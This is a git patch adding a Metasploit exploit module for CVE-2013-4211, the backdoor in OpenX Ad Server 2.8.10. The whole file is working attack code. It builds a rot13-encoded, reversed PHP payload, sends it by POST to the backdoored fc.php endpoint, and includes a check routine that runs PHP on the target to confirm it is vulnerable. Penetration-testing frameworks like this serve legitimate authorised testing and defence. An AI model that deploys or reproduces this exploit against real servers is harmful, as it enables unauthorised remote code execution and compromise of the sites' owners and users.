From c808930f1564adf0f9542f560e9340b93d174f42 Mon Sep 17 00:00:00 2001
From: James Lee <egypt@metasploit.com>
Date: Wed, 7 Aug 2013 17:24:47 -0500
Subject: [PATCH] Add module for CVE-2013-4211, openx backdoor

---
 .../exploits/multi/http/openx_backdoor_php.rb | 103 ++++++++++++++++++
 1 file changed, 103 insertions(+)
 create mode 100644 modules/exploits/multi/http/openx_backdoor_php.rb

diff --git a/modules/exploits/multi/http/openx_backdoor_php.rb b/modules/exploits/multi/http/openx_backdoor_php.rb
new file mode 100644
index 0000000000..f7b3a00da1
--- /dev/null
+++ b/modules/exploits/multi/http/openx_backdoor_php.rb
@@ -0,0 +1,103 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+#   http://metasploit.com/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = ExcellentRanking
+
+	include Msf::Exploit::Remote::HttpClient
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'OpenX Backdoor PHP Code Execution',
+			'Description'    => %q{
+				OpenX Ad Server version 2.8.10 was shipped with an obfuscated
+				backdoor since at least November 2012 through August 2013.
+				Exploitation is simple, requiring only a single request with a
+				rot13'd and reversed payload.
+			},
+			'Author'         =>
+				[
+					'egypt',   # Metasploit module, shouts to bperry for hooking me up with the vuln software
+					'Unknown', # Someone planted this backdoor...
+				],
+			'License'        => MSF_LICENSE,
+			'References'     => [
+					[ 'CVE', '2013-4211' ],
+					[ 'URL', 'http://www.heise.de/security/meldung/Achtung-Anzeigen-Server-OpenX-enthaelt-eine-Hintertuer-1929769.html'],
+					[ 'URL', 'http://forum.openx.org/index.php?showtopic=503521628'],
+				],
+			'Privileged'     => false,
+			'Payload'        =>
+				{
+					'DisableNops' => true,
+					# Arbitrary big number. The payload gets sent as POST data, so
+					# really it's unlimited
+					'Space'       => 262144, # 256k
+				},
+			'DisclosureDate' => 'Aug 07 2013',
+			'Platform'       => 'php',
+			'Arch'           => ARCH_PHP,
+			'Targets'        => [[ 'Generic (PHP payload)', { }]],
+			'DefaultTarget' => 0))
+
+		register_options([
+			OptString.new('TARGETURI', [true, "The URI to request", "/openx/"]),
+		], self.class)
+	end
+
+	def check
+		token = rand_text_alpha(20)
+		response = execute_php("echo '#{token} '.phpversion();die();")
+
+		if response.nil?
+			CheckCode::Unknown
+		elsif response.body =~ /#{token} ((:?\d\.?)+)/
+			print_status("PHP Version #{$1}")
+			return CheckCode::Vulnerable
+		end
+		return CheckCode::Safe
+	end
+
+	def exploit
+		execute_php(payload.encoded)
+
+		handler
+	end
+
+	def execute_php(php_code)
+		money = rot13(php_code.reverse)
+		begin
+			response = send_request_cgi( {
+				'method' => "POST",
+				'global' => true,
+				'uri'    => normalize_uri(target_uri.path,"www","delivery","fc.php"),
+				'vars_get' => {
+					'file_to_serve' => "flowplayer/3.1.1/flowplayer-3.1.1.min.js",
+					'script' => 'deliveryLog:vastServeVideoPlayer:player'
+				},
+				'vars_post' => {
+					'vastPlayer' => money
+				},
+			}, 0.1)
+		rescue ::Interrupt
+			raise $!
+		rescue ::Rex::ConnectionError => e
+			fail_with(::Msf::Exploit::Failure::Unreachable, e.message)
+		rescue ::OpenSSL::SSL::SSLError
+			print_error("The target failed to negotiate SSL, is this really an SSL service?")
+		end
+
+		response
+	end
+
+	def rot13(str)
+		str.tr! "A-Za-z", "N-ZA-Mn-za-m"
+	end
+
+end